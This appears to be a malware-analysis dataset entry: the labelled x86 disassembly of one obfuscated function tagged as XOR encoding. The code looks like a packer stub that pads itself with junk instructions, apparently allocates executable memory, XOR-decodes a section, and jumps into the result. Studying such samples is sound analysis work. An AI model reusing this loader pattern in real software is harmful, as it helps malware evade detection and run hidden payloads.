Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xfb171a97
mov edi, edx
and edx, edi
mov edi, edx
popal
dec edx
add edx, 0xd5539f5c
sub edi, 0x1dcff742
mov edi, 0
mov eax, esi
mov ebx, ecx
not ebx
mov edx, eax
mov ebx, 0x36284544
mov ebx, 0xafe38a8e
mov ecx, 0x952e22b6
mov esi, edx
or ecx, ebx
mov ebx, 0x82cd0e63
add ebx, ecx
inc edi
not ebx
sub ebx, 0x179dacc4
and ecx, ebx
cmp edi, 0x1005e31
jne 0xa789cb
inc ebx
or ecx, ecx
add edx, 0xe8e21ca
inc edx
mov edi, 0xa78796
dec ecx
and ecx, ecx
mov ebx, 0xa7898a
and esi, ecx
add ecx, ecx
dec esi
mov edx, dword [edi]
or esi, eax
sub esi, 0x534d2d74
and edx, 0xff
dec ecx
dec ecx
xor dword [ebx], edx
sub esi, eax
sub eax, 0x40ac60b3
add eax, 1
inc ebx
sub esi, ecx
and eax, ecx
inc edi
dec esi
add ecx, 0xb664df6d
not eax
cmp ebx, entry0
jl 0xa78a20
add ecx, 1
dec eax
add eax, esi
mov eax, 0x98d7870c
add ecx, 0xda031760
mov eax, ecx
or edi, edi
sub ebx, ecx
mov edx, 0xa7898e
not ecx
mov ebx, 0x75c494dd
mov edx, dword [edx]
dec ecx
or esi, edi
mov edx, dword [edx]
sub ecx, edi
add edi, ebx
sub edi, 0x9f99af73
push edx
mov ebx, 0x487eadf4
sub ebx, esi
mov ecx, 0x4d29fb3c
mov edx, 0xa7898a
mov esi, ebx
add edi, 0xbb491ddc
and esi, ecx
mov edx, dword [edx]
sub esi, 0x68507dd8
sub edi, esi
or esi, esi
mov edx, dword [edx]
mov ebx, esi
not esi
sub esp, 4
mov dword [esp], 0xa78992
dec esi
inc ebx
call edx
mov esi, 0x59a8c5b
mov esi, edi
pop edx
add ebx, esi
inc ebx
not esi
push 0xa7899f
and ebx, esi
add edi, 1
or ecx, ecx
push eax
or ecx, ebx
sub ebx, edi
sub ecx, ebx
call edx
sub esi, 1
inc esi
push 0x40
not edi
add esi, esi
push 0x3000
dec edi
or edi, ebx
mov esi, 0x9ec5f587
push 0x20000c8d
add edi, 0x590a9d5b
add esi, esi
mov ebx, ecx
sub esp, 4
mov dword [esp], 0
sub edi, ebx
mov ebx, ecx
call eax
add esi, ebx
not ecx
add eax, 0x20000bf7
dec edi
sub ebx, 0xe820ffdc
mov esi, 0x800f3343
mov edx, 0xf9f768a5
mov edi, ebx
mov ebx, 0x4e70f555
mov dword [eax], edx
not ebx
add esi, 1
mov edx, dword [eax]
sub edi, ebx
mov edi, 0xc9b872cd
cmp edx, 0xf9f768a5
je 0xa78b75
mov ebx, 0
mov eax, dword [ebx]
not ebx
add ebx, ecx
or ecx, ecx
and ebx, ebx
dec edx
sub edi, edx
mov eax, section..reltc
dec edx
sub edx, 0xe96101be
add edi, edx
mov ecx, 0xa78795
or edi, edx
and edi, edx
mov ebx, 0
sub edi, edx
dec edi
mov esi, 0xa78796
inc edi
add edi, 0xccebeaa5
inc edi
lea esi, [ebx + esi]
sub edx, 0xcbb54e61
add edx, 0xcbbb946c
mov esi, dword [esi]
sub edx, 0xc75e53cc
inc edi
and esi, 0xff
dec edi
mov edi, 0xb5b88361
dec edx
add ebx, 1
mov edx, edi
or edi, edx
mov edx, edi
cmp ebx, 0x1f4
jne 0xa78bea
mov ebx, 0
or edx, edi
not edx
add edx, edx
mov edi, edx
xor dword [eax], esi
add edi, 0x6a4763f1
mov edi, edx
or edi, edi
add eax, 2
dec edi
sub edx, edi
add edi, 0xf91f44ff
cmp eax, ecx
jl 0xa78b9f
inc edi
add edx, edx
inc edi
dec edi
add edx, edx
mov ecx, section..reltc
not ebx
sub edi, 0xdcb01b79
mov eax, section..reltc
inc edi
mov ebx, 0x9c76942c
mov esi, 0xa78795
mov edi, 0x97959469
sub ebx, 0xec5f34d4
sub ebx, edi
mov edx, 0
mov ebx, 0xc1940ea3
mov edi, 0x6c90d215
mov ebx, 0x214e6a9f
mov dl, byte [eax]
sub edi, ebx
add edi, ebx
mov byte [ecx], dl
mov edi, 0x6df8a2b4
add edi, edi
add ebx, 0x2e14fe61
add ecx, 1
add edi, edi
sub edi, ebx
not edi
add eax, 2
and ebx, edi
inc ebx
cmp eax, esi
jle 0xa78c5a
inc ebx
add ebx, edi
sub edx, edi
not edx
mov edi, 0x82fe66ee
push 0x8dc6a0
mov edx, edi
add edi, edi
ret